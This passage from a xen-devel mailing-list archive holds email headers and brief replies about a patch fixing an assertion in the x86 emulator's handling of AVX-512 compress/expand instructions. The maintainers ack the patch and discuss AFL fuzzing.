 VtiFYznTairnVsN5J+ujS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qayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0025.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:151::12) To DS7PR03MB8265.namprd03.prod.outlook.com
 (2603:10b6:8:266::20)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR03MB8265:EE_|DM6PR03MB4986:EE_
X-MS-Office365-Filtering-Correlation-Id: 685276d0-d028-4749-5f7d-08dee3274abc
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|6133799003|56012099006|11063799006|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	7vX4T+d7S/gMyHnACv8LWcrsJB5aSmDFqyuX8UDYdGmm5sWMZD2vd9WgL/6xxzy2AgW+d10A5dJUj9Mw5vQ39X00K9k0/G5P3xn5dGdHV3GMwmRv0WTfPMs6elwe4cGOU+auCXcEEfjYBIPEn+6GOcBsvg+BW7HMrhEAdejjHO2vW3/6u+WbkdQ8JGdMwzbW1edoe+J1ClBmDVotsQf44QysrWPbNs2QVuONB0WsTYfv75ks/LH1OfbFbwNADWblspuhHml9DK+R4cExYzB/g/KVJwAeQwJKNBQOfnbVZrHPrxgpG9vIUOBspCjuPXXw00mV2x2MsY5j4cIijZ09s3n8sgorORToPRyFzxz7xIm9J2C4AoE18s7GDmb1OCyjT2Nyn3LmW1GFsoFKuiUpJB0IlorM1bUl68W6xOPznGjir66Yq/UXGBj4lzOCJTqe8MZ42yai5ki4L3V3USmHSofLt4gx+WQRJReB6V+r1tbwN8RBAYulX1wLZDty8AIAFu4KLKstpHmOedzl0JiUFjKJ4MSnEsjUJmKICzwVgEdkQDvoeaJUL3CjWrHNGjH4qKmf3aypLYYk5LbEsPJg+zRJgvWjxZTFIYTYpJW1Qovbf2uUNFGsmABC9IiKvfi+LjlXLRalJfYyhtVU/BMEz6gtyr/BLSdPd8O4pcd0yUo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR03MB8265.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(6133799003)(56012099006)(11063799006)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-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gyZ1Y3ZjdQRGxLYnRNQkNBdmIyTjZNQUVnWk1yUVlmUU85M29rREw1VjA5?=
 =?utf-8?B?UG5YMGRYOFNJSTdQOGdHem12TmREdDkrRXYxa1ZGSHpaV3Q0ZFVhOFovMDI3?=
 =?utf-8?B?SUZGRnQ0QVJkOFFhWEkxbEh3VGlreUp0cXprK1VyRWFHYTFaVmNSSTBBZmFo?=
 =?utf-8?B?MGE4MXU4cS8velJvSjlNbWtVZGVOYkkrcXdDdktQMEN4ODMxRTgwYzRuSUVq?=
 =?utf-8?B?MWhxK0cvNGZoRUpZSjdIQ2l1NDM0RE5sYjVQOEx4bUZrYkVzWS9lZUhFb2Q4?=
 =?utf-8?B?K3prU0REQ1diVHBKNTIwd3BkVm85bURadzhrSjkzbk01K3FodlNXcWgrNGI4?=
 =?utf-8?B?dWk5a3JWUHVVelVWQjhoeEtFL3VpbXFlQTVQK2pRb0FlOGZ5U2p1WVFmV1ds?=
 =?utf-8?B?RGdITkREaUs3S0dkcEJSc2ljbUd2eTBieHNwVkFnenVmcCsvUHRJRUVPdXlI?=
 =?utf-8?B?L2lDdUM2dXZsOTkyQU5tdzJZSEdGdXBOOURGaFJYTWVxT3BMYmhkUmNhRW9w?=
 =?utf-8?B?cUl1R1h6YzB1VEIvWCt0L2hSemRTM2RjekdERGNTNnh1Lzd0c1F3SU1lZ0pl?=
 =?utf-8?B?OWthZUxpR1h0M0JpUjBGZG9kekpMU2RMUERvVGhlQzlHakVrZnpyOUU5QzQ0?=
 =?utf-8?Q?jM4yhR5NxexfV89U=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 685276d0-d028-4749-5f7d-08dee3274abc
X-MS-Exchange-CrossTenant-AuthSource: DS7PR03MB8265.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 16 Jul 2026 10:45:03.0800
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: XswPhaR0U7U6UIGjg90PFx2WhmltpnorX82dfI83rZELd+LN9EuCft/jt6OlfW592IVO5fNXJK8KdcjcC2gGVf2xkT1L+wlemcWn1S0Puu8=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR03MB4986
X-purgate-ID: tlsNG-c201ff/1784198707-73ABF2A1-0CD330BA/0/0
X-purgate-type: clean
X-purgate-size: 763

On 16/07/2026 11:43 am, Jan Beulich wrote:
> AFL has pointed out that the op_bytes-is-not-0 assertion in common SIMD
> handling can trigger for these insns. Indeed when the (relevant part of)
> the controlling mask register is 0, no memory is accessed at all. Leave
> op_bytes unaltered in this case, to engage the short-circuiting in common
> SIMD handling when fault_suppression is true and op_bytes is 0.
>
> While there also correct a related typo in the test harness.
>
> Fixes: 65f82d4ce1ea ("x86emul: support AVX512{F,_VBMI2} compress/expand insns")
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>

Is this local AFL testing?Â  I'm slightly surprised that OSS-Fuzz hasn't
found this.



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 10:50:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 10:50:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363780.1615307 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJfz-00036J-0O; Thu, 16 Jul 2026 10:50:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363780.1615307; Thu, 16 Jul 2026 10:50:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJfy-00036C-S7; Thu, 16 Jul 2026 10:50:46 +0000
Received: by outflank-mailman (input) for mailman id 1363780;
 Thu, 16 Jul 2026 10:50:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkJfx-000366-Bn
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 10:50:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkJfw-007TGs-Gl
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:50:44 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b771-e002-0a2a0a5209dd-0a2a4507abd8-44
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:50:44 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58b784-b4ea-0a2a45070019-d155802ae0ae-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 12:50:44 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493d92b7db3so23880785e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 03:50:44 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49541e8e1adsm74433785e9.7.2026.07.16.03.50.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 03:50:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784199044; x=1784803844; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Y/YZQSFkKYwUnyaMkzJOUNUgXpj25RyNKMC+cLx9vCs=;
        b=CpUqlCsV9gg/cgdJI/2dRh0FbM6GSLWWhHB488fnMfmUI5TQRLup7ATFChVRaCMq39
         ss6CrPrtWWwX8MHFXW1JOvLIhd5hCZMoEEkKZJLxxPqDJRfXVM7P/n+M4ZYdnWJY75qJ
         UoH/XHFP1xV1MEEAmni5hGxMDyWxHgx4pC5hXlCfj1qVdKWCNk2rdCwi8+BTI+S48v3O
         ZlO8PAjghzHFs+SZohn6DwLFSU47qRyLn0WFcHBTYHzu6SdZ7/gZpiv1YIMvH/DEUNIK
         cVzRG3TDU1l6fqcE2pIT/LeVC05jEzNVxG855aiD6bSkCTyDHfZGJjzrf9chlYPCb51V
         oaRA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784199044; x=1784803844;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Y/YZQSFkKYwUnyaMkzJOUNUgXpj25RyNKMC+cLx9vCs=;
        b=U174t7SN/VyznFez4nNlBbAn8yxddxPuj9OeFJCEHhck8rLHtxoSpTIgavcyFBzgnR
         YegvcqRgvtcA5N+kZUxe9tLmKX+RgBkjMxHwCLz60Vdjon03OiEGi7aT+Col8C6/ATKR
         etUP6fOjDorp2QjyPpDEo1EVHURNRQCzoO9HongrqfbvfMKOaSMo0THLsf6N5P3WI/lp
         MzeqR/pWhpe9f7209q8GqRIb7x8Vw0raX/QSiNPeYbhpKwhu7BVScaEYnd2IJQHwWWyT
         fgbPp/Nu90G2tAgFiORXByph/y91vU689AUSHVjjU1WA8k5PQVBZmXIQ6G1MrmM5WOFv
         3Hbw==
X-Forwarded-Encrypted: i=1; AHgh+RqxFOd/xWQnhVBy2sS5l3TuY5vXULYaWr63WLV4L5m+qCzz2LG6wCjUxgAHmveORJSLEw/zZxFGmSE=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw9GJDzLIG64P5ikxaFyOzVxeKGSxIasY1sRtylOefxQMmI4bM4
	DKk0VRqRNJ/FWvVQ0jyqhJRrzGrUWFT42pZsP6NgbkWdLH3U7QRLSilnyjqZ4NmL0Q1nLgcFbJk
	eSf7sTQ==
X-Gm-Gg: AfdE7ckhIRL6tZA+WOiVVn4QWSMdV3CasMFq35Wbsu/joThvx3uBW8OkFvpfxiRvBqz
	xnUiH0XEhw/0gVteFKVQiF1nbcPmR1wu/xxoAFRImI2Kg0Iqgbk60gejwujD4r/khE78PD7Uie9
	VZNuNeGZZLxjFFR1X2PfINwRiyAcRluNhTZLat6Aee+cQEsug8DDSXBn2m/8ce1VKoWssoYiXg/
	Ijpp+wiS4i7Lj8LON+d1v3Y5PImODS6WaeU95c68D60m0AISqCxe2U/2V1GxAt5wgrTnb2ExduJ
	VpnfglAMpdXlBiS2HhPO22UipSnCnVSGpYdl0LDf3XW61ppdd8voa+kwiUajhT/6Fm9BnP8KAxE
	TFIAYIzJ1kXWXY2sOHtKxxnZwU/nhrbR6SP5V4K5KFFkjVJZU3pNy/ev2mtOUA4Nf2Ag8haXtki
	lBqOu5YG8OLJ4W3tiNFdhSovMrl8MpqqT5CE4zRuUn/kbdYhu+4EAqeauOn2l+ruDs4A==
X-Received: by 2002:a05:600c:8011:b0:493:c0ec:9a5f with SMTP id 5b1f17b1804b1-493f8818045mr226393885e9.19.1784199043840;
        Thu, 16 Jul 2026 03:50:43 -0700 (PDT)
Message-ID: <e307a7ec-5a72-4acf-9028-9a288332e82c@suse.com>
Date: Thu, 16 Jul 2026 12:50:42 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
 <1f8c6f13-f774-4d99-97f2-79767392785b@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiG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Rbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1f8c6f13-f774-4d99-97f2-79767392785b@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784199044-A4AC8AE4-A2BB3F84/0/0
X-purgate-type: clean
X-purgate-size: 1155

On 16.07.2026 12:44, Andrew Cooper wrote:
> On 16/07/2026 11:43 am, Jan Beulich wrote:
>> AFL has pointed out that the op_bytes-is-not-0 assertion in common SIMD
>> handling can trigger for these insns. Indeed when the (relevant part of)
>> the controlling mask register is 0, no memory is accessed at all. Leave
>> op_bytes unaltered in this case, to engage the short-circuiting in common
>> SIMD handling when fault_suppression is true and op_bytes is 0.
>>
>> While there also correct a related typo in the test harness.
>>
>> Fixes: 65f82d4ce1ea ("x86emul: support AVX512{F,_VBMI2} compress/expand insns")
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> 
> Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>

Thanks.

> Is this local AFL testing?Â  I'm slightly surprised that OSS-Fuzz hasn't
> found this.

Yes, I'm trying to remember to run the fuzzer every once in a while. Earlier
runs of mine didn't spot the issue either. (I'm presently re-running things,
to have a limited level of certainty that the issues it found are all sorted
now. The other issues it found were in patches I continue to have pending.)

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 11:07:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 11:07:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363803.1615315 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJvy-0005tg-8V; Thu, 16 Jul 2026 11:07:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363803.1615315; Thu, 16 Jul 2026 11:07:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkJvy-0005tZ-4w; Thu, 16 Jul 2026 11:07:18 +0000
Received: by outflank-mailman (input) for mailman id 1363803;
 Thu, 16 Jul 2026 11:07:17 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wkJvx-0005tT-0x
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:07:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkJvw-005aTB-1i
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:07:16 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a58bb64-5cb7-0a2a0a5109dd-0a2a450bcc56-0
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 13:07:16 +0200
Received: from [52.101.62.2]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a58bb62-b7e8-0a2a450b0019-34653e02e01a-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 13:07:15 +0200
Received: from DS7PR03MB8265.namprd03.prod.outlook.com (2603:10b6:8:266::20)
 by DM4PR03MB6045.namprd03.prod.outlook.com (2603:10b6:5:390::18) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Thu, 16 Jul
 2026 11:07:12 +0000
Received: from DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2]) by DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2%4]) with mapi id 15.21.0223.008; Thu, 16 Jul 2026
 11:07:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=BmTi1YWm56Via3WE1DmW5ZK4lzEVrHl1eK3z/AwLKkkVgnWqC48ztulnvMBfdw3Ti6zzlLNhkQxuzqOtGV0PbAWpvpiM2D6QzZZy3ow6to35mozTRBnXz8gPdOsklumQQn6Maxt5/nJzEVs1ZYhKvsHn9/gHVrQZE2mZOWmNQnnbTRa0zdNWyXKW0KESau+Q3T4ONI9ItEQ4RfsXjicSKpTBwpS2lucSj6JiBWyNgntWpX9sSLw+3Pfv512Q/bb/AlF/iSMKbIFCqQoRDNse5SfhpX5axUVEUlcQ6eb2OJ6pX9+7VfMZxultz/tAEo5WoycaJEU1drPRBpcEFCl6lg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ZaGgMTSn0M0Cql6NeYFstPJXcNySDQu4lHADiUDRNyo=;
 b=JDsO6s5cL2C1/aeImmPsacxSKrEX8627L6v55sBEgHViqI14DNN3XXafb44HfI2H6faIPMt2QzUO6XsLvoBN3j859afcpP64UWUMM6Q74Q9Fv8xN4VoojK8Q9zeQPjG12AnFe0yqxTvs+uTJZxIogIbwfvMrLa5VRyPvsCvhEQA9q+Nen9dA/iR4m9A8KEVq9ILwssJt2JHQ0n5Qo84OVSAlcdvRUmXYiTUO0lwBcen4brEpR3n3SdDG3hBOlU15mtMpWO/NlqJcts0E5HlMKdGVEwfLqkg7YhhxTCFB5QMxQLxEC21mKiu6ETXZlpxbFyy4UbvhQeHcZMVuHDJ73g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ZaGgMTSn0M0Cql6NeYFstPJXcNySDQu4lHADiUDRNyo=;
 b=nkL1aycFYdFbpvkwAX7kwtY0YJIGCNCsAv+Uz0D3cA7ZhnFmuNyqDQsbP9xScLLMUNs74pK57mIr/jCSN5ReuQrQuAWj1yRczdK28Ik2nFS2Sb6unhIoGsjfGIxg4VZimlUpI7+Ayk1h4Z6CVd0yFMjqrApVMe6RU7I/VlXNnKk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <8d0d92a4-2ea2-418a-b5ae-1a7bcc2f9a2e@citrix.com>
Date: Thu, 16 Jul 2026 12:07:09 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH] x86emul: V{,P}{COMPRESS,EXPAND}* can (wrongly) trigger
 assertion
To: Jan Beulich <jbeulich@suse.com>
References: <43b0c3d2-49cb-4759-a111-8fe083c723b6@suse.com>
 <1f8c6f13-f774-4d99-97f2-79767392785b@citrix.com>
 <e307a7ec-5a72-4acf-9028-9a288332e82c@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTL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ApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <e307a7ec-5a72-4acf-9028-9a288332e82c@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0074.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:190::7) To DS7PR03MB8265.namprd03.prod.outlook.com
 (2603:10b6:8:266::20)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR03MB8265:EE_|DM4PR03MB6045:EE_
X-MS-Office365-Filtering-Correlation-Id: a6126228-cbc9-4a68-a1a2-08dee32a630e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|376014|366016|6133799003|11063799006|56012099006|4143699003|22082099003|18002099003|10067099003;
X-Microsoft-Antispam-Message-Info:
	iDj+Mi7Pue8chHsRlA+ziLWFOg1Jju3grjYXS9I8utuStf6CvopaRW/175jCins7xidYv/z2SUGuwfO7OG8XwkVjVlC/4Xt1RgTlsQVOZeDoNpo6/NcuPbvYawc0XQeoVIdxoha6rOPaomeEzJBoRwjZgxesFZ3ufUK2278NV/WexRP3oNkZlYXuJq9yhQpHXd4rZvkMU0RAebI+PYC7le6SkIjRyo8TGIjYznddM6dN4H+58sdU+YtlrkzzL8NsptDBfdJNjuBqP/WqMf6AobmUTXIl5hTwfti+Io52+66wL9gOqeBd7ZkC8S/l9ZKAJ+S3Umjfnrii94mnZ9EVUYZVdhczOadvJXzBHRRU7m+xPAThPByY89gIKPLERF/0b2NF9Pc4iM95t1TgAaXMdVis/upRJ9BUArVUMcoG/QMJQ1IFqCunF8ww+4oNp1hkCpbSS/pA42iM8w0wjQXUDn9oqgnIOBrIWElRa4+1tGpwPgRa8FinMvos04SguHG6m7Rj2DN4Zk1nDZmaUyaeyMAu9IpK4pZfgKAT9ElSQKq+8HqXKiu/kGfOzE9My97uYevUTQT2I8+C5rhJDZHm2t2pzNxb4RAghr/llW1namvpM0hWbaOXMYB5FqGfktNrMuTOXo7ueaHaCHcol2PFNSPpBGMjXvu6BAw7fZPTk00=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR03MB8265.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(366016)(6133799003)(11063799006)(56012099006)(4143699003)(22082099003)(18002099003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
